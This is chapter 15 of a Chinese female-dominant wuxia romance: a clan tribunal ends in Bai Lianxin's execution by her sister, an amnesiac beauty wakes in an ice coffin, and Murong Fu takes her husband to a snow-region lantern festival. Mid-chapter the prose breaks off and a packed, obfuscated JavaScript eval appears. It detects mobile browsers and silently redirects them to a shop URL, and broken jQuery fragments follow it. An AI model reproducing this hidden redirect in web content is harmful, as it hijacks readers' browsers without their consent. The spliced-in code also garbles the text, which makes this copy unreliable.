15. 第十五折

作品:《少年游(女尊)

    慕容芙昭告天下,杀死那七七四十九个江湖女子的人是云门春门主之妹白莲心,登时,天地间哗然。顾贺慕容白四大家族在帝都集议,商议处置白莲心的法子。


    白莲心仍旧是玄色轻纱覆面,静静跪倒在玉阶下。她的神情已经超脱了人世间的悲欢离合。


    君埋泉下泥销骨,我寄人间雪满头。


    “这四十九个江湖女子何辜!”


    “眼下唯有判白二娘子车裂之刑!”


    “如此才是世间正道!”


    “事已至此,白二娘子唯有对自己做的事情负责。”


    “白门主,念在你二人是姐妹的份儿上,便由你亲自杀了她吧,让她不至于死在他人之手。”


    慕容芙望着玉阶下的白莲心,心中惟余感叹。此时此刻,白莲瓣出列,神色颓唐,她向众人拱手作揖:“本座是莲心的家姐,管教不好亲妹,是本座之过。倘若一定要处死莲心,不如由本座替她死罢。”


    癯仙楼楼主慕容锦肃穆道:“门主,此事可不能替代。”


    崆峒派门主贺嬿婉淡淡道:“门主,白莲心既然做出了这种罔顾道义之事,便是中原江湖的公敌。”


    “处死白莲心!还江湖正道!”


    “处死白莲心!还江湖正道!”


    “处死白莲心!还江湖正道!”


    在一声声的呼唤中,白莲瓣绝望地闭上了眼睛。


    白莲心直起身子,掀开帷幔。她轻声道:“阿姐,你动手罢。”


    从小姐妹二人喜欢玩斩杀宵小贼寇的游戏,都是由白莲心扮演宵小贼寇。你追我逃间,最后白莲心被阿姐抓住,她总是笑嘻嘻地说:“阿姐,你动手罢。”


    最后她真的成了宵小贼寇,由阿姐亲自清理门户。


    也是如此轻描淡写的一句:“阿姐,你动手罢。”


    白莲瓣手握长戟,霎时间贯穿了白莲心的身子。下一刻,白莲瓣抬起手,封了自己胸膛五处大穴,自废了武功。


    慕容锦惊道:“门主——”


    贺嬿婉亦惊甚:“门主你!”


    白莲瓣泪流满面。


    白莲瓣走到众人跟前,复行了个礼道:“从此以后,我白莲瓣自废武功,退出江湖。莲心造的罪孽,由我来偿。”


    净烟山。


    冰棺里,林屹川缓缓转醒,仍旧是十八岁时倾国倾城的模样。


    “我这是……在何处?”


    慕容芙将白莲心身死后染血的衣裳递给他:“公子,此乃故人之物。”


    林屹川只茫然道:“我……我是谁呢?”


    慕容芙不知如何回答,只相顾无言。


    须臾,林屹川又道:“我怎么什么都忘了,只记得……只记得隐约有个姑娘,说要带我走,带我远走高飞……这衣裳,是那个姑娘的吗?”


    慕容芙了然:“正是。”


    奈何早已物是人非。


    慕容芙回到菡萏轩,已经夜深了,星辰璀璨,月影如纱。贺重山坐在小杌子上梳头,银篦子拿在手里。


    她轻声道:“我回来了。”


    贺重山将银篦子搁在桌案上:“去见过天下第一美人林屹川了?他姿容如何?”


    慕容芙微微一笑:“林屹川姿容再美,不如我家贺重山。”登时,贺重山心中一动。身为男儿,有这样的妻主,自然是别无所求了。


    慕容芙拿过银篦子,亲自为他梳理青丝:“来,今夜早些睡,明儿妻主带你去雪域寒天阙,看大仙灯。”


    寒天阙坐落于雪域中央,乃是雪域最大的城。每年四月,都会在城里扎起大仙灯,举城欢庆灯节。自从嫁给她后,那些过往只存在于书册里的陵谷山川,都由她陪着一一走遍。


    翌日,一辆马车出了癯仙楼,往西边走去。


    到了寒天阙,贺重山在马车里撩起纱帘往外看,见雪域的人间风物当真与中原不同。此处地势甚高,常年积雪覆盖,寒凉凄冷。往来的男女们身穿颜色鲜艳的诸色褚巴,戴着各色额饰,往来间襟袖蹁跹。


    进城时,守卫拦住了马车,冷声道:“雪域的雄鹰飞往王帐何处?”


    擘珠疑惑道:“啊?什么?”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176665|196800||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    慕容芙对上下一句暗号:“王帐深处的战马嘶声喑哑。”


    守卫随即放行。


    贺重山颇为不解:“怎么你一说……她就放我们进去了?”


    慕容芙自信一笑:“多年前,我随母亲来过雪域。自然知道进城的密信。”


    进城后,当真四处张灯结彩,不止有七八百尺长的大仙灯,还有金鱼灯、仙鹤灯、鸳鸯灯,令人眼花缭乱。路边街市喧嚷,有打铁花的女子手持铁木,火树银花,流星如瀑。


    贺重山摸摸自己鼓起来的小腹:“阿芙,我有些饿了。”


    “这个好说,”慕容芙将路边买的金鱼灯递给他,“雪域的酒楼繁多。”


    二人随便拣了一处酒楼进去,包了天子第一间。擘珠噙玉和万福万寿都不会雪域话,好在慕容芙会一些,一行人点了酥油茶、青稞酒、茴香熏马肠、骆驼奶酪。


    贺重山由衷道:“倘若不是你,我还不知晓人间有如此销魂的去处。”


    慕容芙给他斟了杯酥油茶:“读万卷书,行万里路,才不算辜负了这一辈子。”


    包间里有鬈发碧眸的雪域舞伎翩翩起舞,见慕容芙浑身珠玉,面容妩媚,不由生了亲近之意。舞伎扭动柔软的身段,渐渐舞到了她跟前,几个起落间,欲落入她怀中。


    慕容芙却伸手托住舞伎的左臂,用雪域话说:“公子请自重。”


    舞伎只得回到中央的氍毹上,继续跳舞。


    兴许也是有缘分,不归海坐着帐车路过酒楼时,他抬眼一看,便看到了慕容少主托住舞伎的手臂,舞伎臂上用金线纹了莲花纹。


    “真巧,”不归海对朵兰娜道,“我又遇到那位姑娘了。”


    朵兰娜有些疑惑:“慕容少主怎么来寒天阙了?”


    不归海定定道:“朵儿,你说这是不是天神的安排?天神安排我爱上她。”


    朵兰娜摇首道:“圣子,您是圣子,在天神前发过誓的,您要断情绝爱。”


    不归海偏头思忖须臾,竟赤足跳下帐车,这是不合规矩的,圣子的纤足决不能沾地。